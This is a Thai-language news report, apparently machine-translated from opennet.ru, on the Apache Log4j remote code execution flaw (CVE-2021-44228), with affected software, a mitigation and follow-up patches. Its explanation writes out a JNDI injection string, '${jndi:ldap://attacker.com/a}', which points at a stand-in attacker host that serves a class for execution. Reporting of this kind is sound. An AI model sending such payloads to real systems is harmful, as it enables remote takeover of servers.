ช่องโหว่ภัยพิบัติใน Apache Log4j ส่งผลกระทบต่อโครงการ Java จำนวนมาก

ใน Apache Log4j ซึ่งเป็นเฟรมเวิร์กยอดนิยมสำหรับการจัดระเบียบการบันทึกในแอปพลิเคชัน Java มีการระบุช่องโหว่ร้ายแรงที่อนุญาตให้เรียกใช้โค้ดที่กำหนดเองได้เมื่อมีการเขียนค่าที่จัดรูปแบบพิเศษในรูปแบบ “{jndi:URL}” ลงในบันทึก การโจมตีสามารถทำได้บนแอปพลิเคชัน Java ที่บันทึกค่าที่ได้รับจากแหล่งภายนอก เช่น เมื่อแสดงค่าที่เป็นปัญหาในข้อความแสดงข้อผิดพลาด

สังเกตว่าเกือบทุกโครงการที่ใช้เฟรมเวิร์กเช่น Apache Struts, Apache Solr, Apache Druid หรือ Apache Flink ได้รับผลกระทบจากปัญหา รวมถึง Steam, Apple iCloud, ไคลเอนต์ Minecraft และเซิร์ฟเวอร์ คาดว่าช่องโหว่ดังกล่าวอาจนำไปสู่การโจมตีครั้งใหญ่ในแอปพลิเคชันขององค์กร ซ้ำประวัติศาสตร์ของช่องโหว่ที่สำคัญในเฟรมเวิร์ก Apache Struts ซึ่งตามการประมาณการคร่าวๆ ถูกใช้ในแอปพลิเคชันเว็บถึง 65% ของ Fortune 100 บริษัท รวมถึงความพยายามในการสแกนเครือข่ายเพื่อหาระบบที่มีช่องโหว่

ปัญหาดังกล่าวรุนแรงขึ้นเนื่องจากข้อเท็จจริงที่ว่ามีการเผยแพร่ช่องโหว่ที่ใช้งานได้แล้ว แต่ยังไม่ได้รวบรวมการแก้ไขสำหรับสาขาที่เสถียร ยังไม่ได้กำหนดตัวระบุ CVE การแก้ไขจะรวมอยู่ในสาขาการทดสอบ log4j-2.15.0-rc1 เท่านั้น วิธีแก้ปัญหาสำหรับการบล็อกช่องโหว่ ขอแนะนำให้ตั้งค่าพารามิเตอร์ log4j2.formatMsgNoLookups เป็นจริง

ปัญหามีสาเหตุมาจากข้อเท็จจริงที่ว่า log4j รองรับการประมวลผลมาสก์พิเศษ “{}” ในบรรทัดที่ส่งออกไปยังบันทึก ซึ่งสามารถดำเนินการค้นหา JNDI (Java Naming and Directory Interface) ได้ การโจมตีเริ่มต้นที่การส่งสตริงด้วยการแทนที่ “${jndi:ldap://attacker.com/a}” เมื่อประมวลผลว่า log4j จะส่งคำขอ LDAP สำหรับเส้นทางไปยังคลาส Java ไปยังเซิร์ฟเวอร์ attacker.com . เส้นทางที่ส่งคืนโดยเซิร์ฟเวอร์ของผู้โจมตี (เช่น http://second-stage.attacker.com/Exploit.class) จะถูกโหลดและดำเนินการในบริบทของกระบวนการปัจจุบัน ซึ่งช่วยให้ผู้โจมตีสามารถรันโค้ดที่กำหนดเองบน ระบบที่มีสิทธิ์ของแอปพลิเคชันปัจจุบัน

ภาคผนวก 1: ช่องโหว่ได้รับการกำหนดตัวระบุ CVE-2021-44228

ภาคผนวก 2: มีการระบุวิธีการเลี่ยงผ่านการป้องกันที่เพิ่มโดย release log4j-2.15.0-rc1 มีการเสนอการอัปเดตใหม่ log4j-2.15.0-rc2 พร้อมการป้องกันช่องโหว่ที่สมบูรณ์ยิ่งขึ้น รหัสเน้นการเปลี่ยนแปลงที่เกี่ยวข้องกับการขาดการสิ้นสุดที่ผิดปกติในกรณีที่ใช้ URL JNDI ที่มีรูปแบบไม่ถูกต้อง

ที่มา: opennet.ru

เพิ่มความคิดเห็น